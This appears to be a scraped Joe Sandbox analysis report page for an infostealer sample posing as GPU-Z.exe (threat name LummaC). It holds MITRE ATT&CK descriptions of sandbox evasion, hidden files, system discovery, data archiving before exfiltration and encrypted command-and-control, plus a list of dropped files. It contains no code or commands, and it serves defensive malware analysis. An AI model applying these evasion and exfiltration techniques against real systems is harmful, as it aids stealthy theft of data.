Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GPU-Z.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\Crashpad\settings.dat

C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\uninstall.cmd

C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\updater.exe

C:\Program Files (x86)\Google\GoogleUpdater\cee8effa-9312-4c0d-9a14-4680b64b9708.tmp

C:\Program Files (x86)\Google\GoogleUpdater\prefs.json (copy)

C:\Program Files (x86)\Google\GoogleUpdater\updater.log

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Windows Analysis Report
GPU-Z.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre